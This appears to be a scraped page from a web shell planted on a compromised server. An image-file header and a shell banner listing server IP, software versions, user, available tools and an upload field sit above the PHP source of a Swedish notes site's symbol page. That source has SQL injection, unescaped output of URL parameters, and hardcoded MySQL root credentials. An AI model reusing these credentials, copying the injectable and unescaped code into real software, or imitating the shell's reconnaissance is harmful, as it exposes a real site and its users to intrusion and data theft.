????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.217.114 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.notes-online.se/login/login/symbols/slkomp/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Untitled Document</title>
</head>
Markera symboler för: <?php echo($_GET['username'])?>
<form action="update.php?userid=<?php echo($_GET['userid']);?>&username=<?php echo($_GET['username']);?>" method="post">
<?php
//path to directory to scan
$directory = "";
//get all image files with a .jpg extension.
$images = glob($directory . "*.png");
$x = 1;
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("notes");
//print each file name
$sql = "select * from tblSymbolsArchive;";
$result2 = mysql_query($sql);
while ($row2 = mysql_fetch_assoc($result2)){
$sql = "select * from tblSymbols where userId = ".$_GET['userid'];
$result = mysql_query($sql);
$sel = "";
while ($row = mysql_fetch_assoc($result)){
if($x == $row['symbolId']){
$sel = "checked='checked'";
}
}
$image = $row2['name'].".png";
?>
<table width="350" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="80" valign="middle"><img src="<?php echo($image);?>" height="40" width="40"/></td>
<td width="243" valign="middle"><?php echo(substr($image,0,strlen($image)-4));?></td>
<td width="27" valign="middle"><input type="checkbox" name="c<?php echo($x);?>" id="c<?php echo($x);?>" value="<?php echo($x);?>" <?php echo($sel);?>/>
</td>
</tr>
</table>
<?php
$x++;
}
?>
<input name="nbr" type="hidden" value="<?php echo($x);?>" />
<table width="350" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="80" valign="middle"> </td>
<td width="243" valign="middle"> </td>
<td width="27" valign="middle"><input name="Uppdatera" type="submit" /></td>
</tr>
</table>
</form>
</body>
</html>